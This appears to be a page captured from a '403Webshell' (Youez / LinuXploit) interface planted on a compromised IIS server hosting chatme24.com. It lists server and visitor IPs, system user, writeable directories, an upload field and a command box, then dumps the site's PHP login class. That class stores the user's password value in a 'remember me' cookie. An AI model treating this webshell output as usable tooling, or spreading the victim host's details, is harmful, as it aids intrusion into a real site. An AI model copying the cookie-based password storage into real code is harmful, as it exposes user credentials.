403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current//cloginform.class.php
<?php
class CLoginForm extends CHtmlBlock
{

    var $message = '';

    function action()
    {
        global $g;
        global $l;

        $cmd = get_param('cmd', '');
        $ajax = get_param('ajax');
        if ($cmd == 'login') {

            /*$loginField = 'name';
            if (Common::isOptionActive('login_by_mail', 'template_options')) {
                $loginField = 'mail';
            }*/

            $login = get_param('user', '');
            $password = get_param('password', '');
            if (!$login || !$password) {
                $this->message = lAjax('Wrong password or log in information');
            } else {
                $user = User::getUserByLoginAndPassword($login, $password);
                $id = 0;
                $userApproval = 0;
                $userBan = 0;

                if ($user != false) {
                    $id = $user['user_id'];
                    $userApproval = $user['active'];
                    $userBan = $user['ban_global'];
                    $password = $user['password'];
                }
                if ($id == 0) {
                    $this->message = lAjax('Wrong password or log in information');
                } else {
                    if (Common::isOptionActive('manual_user_approval') && !$userApproval) {
                        $this->message = lAjax('no_confirmation_account');
                    }
                    if($userBan==1){
                        $this->message = lAjax('account_has_been_banned');
                    }
                }

                if ($this->message == '') {
                    set_session('user_id', $id);
                    set_session('user_id_verify', $id);

                    global $g_user;
                    $g_user = User::getInfoBasic($id);

                    if (get_param('remember')) {
                        $name = guser('name');
                        set_cookie('c_user', $name, -1);
                        set_cookie('c_password', $password, -1);
                    } else {
                        set_cookie('c_user', '', -1);
                        set_cookie('c_password', '', -1);
                    }

                    $redirect = Common::getHomePage();
                    if(IS_DEMO) {
                        $redirect = Demo::prepareDemoRedirectWithUsername($id, $redirect);
                    }

                    $this->message = '#js:logged:' . $redirect;

                    User::updateLastVisit($id);
                    CStatsTools::count('logins', $id);
                }
            }
        }
    }

	function parseBlock(&$html)
	{
        Social::parse($html);

        CBanner::getBlock($html, 'right_column');

        if(IS_DEMO) {
            $html->setvar('login_user', demoLogin());
            $html->setvar('login_password', '1234567');
            $html->parse('demo');
        }

		parent::parseBlock($html);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit